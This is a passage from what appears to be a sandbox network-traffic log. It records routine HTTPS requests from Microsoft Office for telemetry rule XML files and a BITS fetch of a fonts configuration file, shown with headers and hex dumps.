version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:19 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:19 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: c55b1dc3-701e-0097-42e9-16b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012319Z-1657d5bbd48xsz2nuzq4vfrzg800000002r0000000004tc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:19 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:19 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:19 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 4543d13f-701e-0050-5a04-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012319Z-1657d5bbd48gqrfwecymhhbfm800000001r0000000000tqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:19 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:19 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: b1fbfe33-a01e-003d-4fd4-1698d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012319Z-1657d5bbd48xsz2nuzq4vfrzg800000002gg00000000xxwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:19 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:19 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 770fdf22-501e-0035-0d02-17c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012319Z-1657d5bbd48cpbzgkvtewk0wu000000002ug00000000kdxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:19 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49893	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:19 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 01:23:20 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=228143 Date: Mon, 07 Oct 2024 01:23:19 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:20 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 961c0255-701e-005c-1406-17bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012320Z-1657d5bbd48sdh4cyzadbb374800000002q0000000006nnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:20 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:20 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: fba86ca6-e01e-00aa-5200-17ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012320Z-1657d5bbd48qjg85buwfdynm5w00000002yg000000004myz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:20 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:20 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 401481e1-301e-0099-6a5a-176683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012320Z-1657d5bbd482krtfgrg72dfbtn00000002dg00000000txef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:20 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:20 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 9139889b-001e-0079-22f3-1612e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012320Z-1657d5bbd48762wn1qw4s5sd3000000002rg000000002wu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:20 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:20 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:20 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 7cb43a82-e01e-0033-45fe-164695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012320Z-1657d5bbd482lxwq1dp2t1zwkc00000002n0000000002hqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:20 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49900	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:20 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 01:23:21 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=228078 Date: Mon, 07 Oct 2024 01:23:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-07 01:23:21 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	61012	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:21 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:21 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: d51e0a59-d01e-005a-6cfe-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012321Z-1657d5bbd48xlwdx82gahegw4000000002wg00000000rkw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:21 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	61011	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:21 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
